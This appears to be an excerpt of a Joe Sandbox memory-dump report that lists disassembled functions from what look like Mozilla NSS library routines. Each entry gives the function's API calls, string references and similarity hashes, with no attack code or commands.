Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Item_Util$CompareCopyValueZfree$CondCriticalEnterErrorSectionUnlockWait
String ID:
API String ID: 1854523011-0
Opcode ID: ee86cb578ae21590255b85b187365af66c1e04edabf5593676984f67c1435b4b
Instruction ID: 1d2ad03eaf53fb1c1a7a781071f3e0a59c6ddfa4da05db7a61b8a4a3c2c1c666
Opcode Fuzzy Hash: ee86cb578ae21590255b85b187365af66c1e04edabf5593676984f67c1435b4b
Instruction Fuzzy Hash: 39812376A05611AFE7208B24DC45BDAB7A4FF00318F444229ED1993B91F731B979CBE2

Function 6CBF2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CBF2D69

Strings

winUnmapfile2, xrefs: 6CBF2F7F
winUnmapfile1, xrefs: 6CBF2F55
winTruncate2, xrefs: 6CBF2EF8
winTruncate1, xrefs: 6CBF2EBE
winSeekFile, xrefs: 6CBF2E9C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 6d24e8c08f714827e82970ebf3798da0a51952c7c2172aa55a3de880446886d5
Instruction ID: 9e8443dddfdae9017e4e77648f049a1c24db792a125c826c356e438938d74e96
Opcode Fuzzy Hash: 6d24e8c08f714827e82970ebf3798da0a51952c7c2172aa55a3de880446886d5
Instruction Fuzzy Hash: 6C61C475B002549FEB04CF68DC94A6A77B5FF49354F20852CEA199B790DB31AC0ACB92

Function 6CC2DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC2DF37
EnterCriticalSection.KERNEL32(?), ref: 6CC2DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CC2E02B
PR_Unlock.NSS3(?), ref: 6CC2E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC2E090
PR_Unlock.NSS3(?), ref: 6CC2E0AF

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: b92ec3e11de05bab4f46caa4d5cb7a9d6edcd5bbd073dd11d974d7dc53a8327b
Instruction ID: 05cec68be4d8e57037dee61f3353be058f501be587adb54a89464615d1196c27
Opcode Fuzzy Hash: b92ec3e11de05bab4f46caa4d5cb7a9d6edcd5bbd073dd11d974d7dc53a8327b
Instruction Fuzzy Hash: 6251D2315006008FEB209F26D844B66B3B5FF44309F20452DE95A57B91F739E84ACB92

Function 6CC2BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CC2BD1E

Part of subcall function 6CC02F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CC02F0A
Part of subcall function 6CC02F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CC02F1D

Part of subcall function 6CC457D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CC0B41E,00000000,00000000,?,00000000,?,6CC0B41E,00000000,00000000,00000001,?), ref: 6CC457E0
Part of subcall function 6CC457D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CC45843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC2BD8C

Part of subcall function 6CC5FAB0: free.MOZGLUE(?,-00000001,?,?,6CBFF673,00000000,00000000), ref: 6CC5FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CC2BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CC2BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BE3A

Part of subcall function 6CC03E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC03EC2
Part of subcall function 6CC03E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC03ED6
Part of subcall function 6CC03E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC03EEE
Part of subcall function 6CC03E60: PR_CallOnce.NSS3(6CD62AA4,6CC612D0), ref: 6CC03F02
Part of subcall function 6CC03E60: PL_FreeArenaPool.NSS3 ref: 6CC03F14
Part of subcall function 6CC03E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC03F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2BE52

Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC02CDA,?,00000000), ref: 6CC02E1E
Part of subcall function 6CC02E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CC02E33
Part of subcall function 6CC02E00: TlsGetValue.KERNEL32 ref: 6CC02E4E
Part of subcall function 6CC02E00: EnterCriticalSection.KERNEL32(?), ref: 6CC02E5E
Part of subcall function 6CC02E00: PL_HashTableLookup.NSS3(?), ref: 6CC02E71
Part of subcall function 6CC02E00: PL_HashTableRemove.NSS3(?), ref: 6CC02E84
Part of subcall function 6CC02E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CC02E96
Part of subcall function 6CC02E00: PR_Unlock.NSS3 ref: 6CC02EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC2BE61

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 507b72d20d092392c522c979a6c3f423d72bb7a98c52bb3b81b89204f85e1cfb
Instruction ID: 843f38716ecd16bb94e4de550e07ae16555c2a75b2eeeda61bdb250e8ea63b5e
Opcode Fuzzy Hash: 507b72d20d092392c522c979a6c3f423d72bb7a98c52bb3b81b89204f85e1cfb
Instruction Fuzzy Hash: AB41D2B6A00610AFD710DF28DC80FAA77E8EB45718F148168F95997711F735ED18CBA2

Function 6CC4AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC4AB3E,?,?,?), ref: 6CC4AC35

Part of subcall function 6CC2CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC2CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC4AB3E,?,?,?), ref: 6CC4AC55

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC4AB3E,?,?), ref: 6CC4AC70

Part of subcall function 6CC2E300: TlsGetValue.KERNEL32 ref: 6CC2E33C
Part of subcall function 6CC2E300: EnterCriticalSection.KERNEL32(?), ref: 6CC2E350
Part of subcall function 6CC2E300: PR_Unlock.NSS3(?), ref: 6CC2E5BC
Part of subcall function 6CC2E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC2E5CA
Part of subcall function 6CC2E300: TlsGetValue.KERNEL32 ref: 6CC2E5F2
Part of subcall function 6CC2E300: EnterCriticalSection.KERNEL32(?), ref: 6CC2E606
Part of subcall function 6CC2E300: PORT_Alloc_Util.NSS3(?), ref: 6CC2E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC4AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC4AB3E), ref: 6CC4ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC4AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC4AD2B

Part of subcall function 6CC2F360: TlsGetValue.KERNEL32(00000000,?,6CC4A904,?), ref: 6CC2F38B
Part of subcall function 6CC2F360: EnterCriticalSection.KERNEL32(?,?,?,6CC4A904,?), ref: 6CC2F3A0
Part of subcall function 6CC2F360: PR_Unlock.NSS3(?,?,?,?,6CC4A904,?), ref: 6CC2F3D3

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 28d74c5379f4d1de39a8b46bc87c096425f9434e12906ef90518f78d29b5ef5b
Instruction ID: 275818b0cbbdcb9cb230498e7e48be835c91645ceb7f6fd3a5956c2e892d0125
Opcode Fuzzy Hash: 28d74c5379f4d1de39a8b46bc87c096425f9434e12906ef90518f78d29b5ef5b
Instruction Fuzzy Hash: FB31F5B1E006155FEB049F69DC409AF77B6AFC4728B19C138E8199BB40FB32DD1687A1

Function 6CC28C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC28C7C

Part of subcall function 6CCC9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DC6
Part of subcall function 6CCC9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD10A27), ref: 6CCC9DD1
Part of subcall function 6CCC9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC28CB0
TlsGetValue.KERNEL32 ref: 6CC28CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC28CE5
PR_Unlock.NSS3(?), ref: 6CC28D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC28D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC28D93

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: aa43b62e971c5d5b0e605d7ddc2d2479892e01389bfdb5600d090fc8aca9b438
Instruction ID: d5cbb8a35eb5c091253a0ee185ba9922596f75f5fd8f91af263a1057c06ebfb6
Opcode Fuzzy Hash: aa43b62e971c5d5b0e605d7ddc2d2479892e01389bfdb5600d090fc8aca9b438
Instruction Fuzzy Hash: 78316A72E00206AFEB009F69DC44BEAB774BF55318F140136EA1967B90F774A958C7D1

Function 6CC69D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CC69C5B), ref: 6CC69D82

Part of subcall function 6CC614C0: TlsGetValue.KERNEL32 ref: 6CC614E0
Part of subcall function 6CC614C0: EnterCriticalSection.KERNEL32 ref: 6CC614F5
Part of subcall function 6CC614C0: PR_Unlock.NSS3 ref: 6CC6150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CC69C5B), ref: 6CC69DA9

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6136A
Part of subcall function 6CC61340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6137E
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?), ref: 6CC613CF
Part of subcall function 6CC61340: PR_Unlock.NSS3(?,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC6145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CC69C5B), ref: 6CC69DCE

Part of subcall function 6CC61340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000,?,6CBFF599,?,00000000), ref: 6CC613F0
Part of subcall function 6CC61340: PL_ArenaGrow.NSS3(?,6CBFF599,?,?,?,00000000,00000000,?,6CC0895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CC61445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CC69C5B), ref: 6CC69DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CC69C5B), ref: 6CC69DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CC69C5B), ref: 6CC69E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CC69C5B), ref: 6CC69E91

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC61560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CC5FAAB,00000000), ref: 6CC6157E
Part of subcall function 6CC61560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CC5FAAB,00000000), ref: 6CC61592
Part of subcall function 6CC61560: memset.VCRUNTIME140(?,00000000,?), ref: 6CC61600
Part of subcall function 6CC61560: PL_ArenaRelease.NSS3(?,?), ref: 6CC61620
Part of subcall function 6CC61560: PR_Unlock.NSS3(?), ref: 6CC61639

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 2145ecb99bba0cb0aa30c2ef960bb21c08c59f7af7cb82fcd08fa09edb8d265d
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: F74186B4501606AFE740DF1ADA80B92B7A5FF45358F548128D8158BFA1FB72E834CF90

Function 6CC2DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC2DDEC

Part of subcall function 6CC60840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC608B4

PK11_DigestBegin.NSS3(00000000), ref: 6CC2DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CC2DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CC2DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CC2DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC2DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2DECC

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 7416665701e9f6522dd6d8c34b425d1e667ffce4d16c4978c19ea4f19d74bda0
Instruction ID: 687a60038631efd2e17efb584ee24ad7342901fcc80eea61855c7e7dea1a136f
Opcode Fuzzy Hash: 7416665701e9f6522dd6d8c34b425d1e667ffce4d16c4978c19ea4f19d74bda0
Instruction Fuzzy Hash: CD31B8B29002146BEB00AF69AD41BBB76B8EF65708F050175ED09A7B41FB35D918C6E2

Function 6CC07E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CC07E48

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CC07E5B

Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC610F3
Part of subcall function 6CC610C0: EnterCriticalSection.KERNEL32(?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6110C
Part of subcall function 6CC610C0: PL_ArenaAllocate.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61141
Part of subcall function 6CC610C0: PR_Unlock.NSS3(?,?,?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC61182
Part of subcall function 6CC610C0: TlsGetValue.KERNEL32(?,6CC08802,00000000,00000008,?,6CBFEF74,00000000), ref: 6CC6119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CC07E7B

Part of subcall function 6CC5FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC58D2D,?,00000000,?), ref: 6CC5FB85
Part of subcall function 6CC5FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC5FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CD2925C,?), ref: 6CC07E92

Part of subcall function 6CC5B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD318D0,?), ref: 6CC5B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC07EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CC07ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CC07EFA

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 255070aabd92f7736b3c5e195a806173b46ab1da01f17c11449d2ecdaa2c0c29
Instruction ID: 05ed7e33a4d12b21ec18e1919afe00e300eb1e7c00c9c37dc6d1f76a535e585f
Opcode Fuzzy Hash: 255070aabd92f7736b3c5e195a806173b46ab1da01f17c11449d2ecdaa2c0c29
Instruction Fuzzy Hash: 9331AFB2F012119FEB148B699D80B5B73A8AF44658F154824DD25EBB41F732FC04C7E1

Function 6CC5DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CC5D9E4,00000000), ref: 6CC5DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC5DCAD

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ca486210e0bfe6d68f8c2f7abd624ac668dd8386d34398d22f97df90b1458b2a
Instruction ID: e26e2cc63dde53fbd2e9933df8aa9ce3004b0a50ee7ac9a762e2f34238782eea
Opcode Fuzzy Hash: ca486210e0bfe6d68f8c2f7abd624ac668dd8386d34398d22f97df90b1458b2a
Instruction Fuzzy Hash: DF316DB5A003019FE710CF1ED984A56B7F8BF45358F548429E948CBB01F771E964CBA6

Function 6CC22E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC1E728,?,00000038,?,?,00000000), ref: 6CC22E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC22E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC22E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC22E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC22E9E
PR_Unlock.NSS3(?), ref: 6CC22EAB
PR_Unlock.NSS3(?), ref: 6CC22F0D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
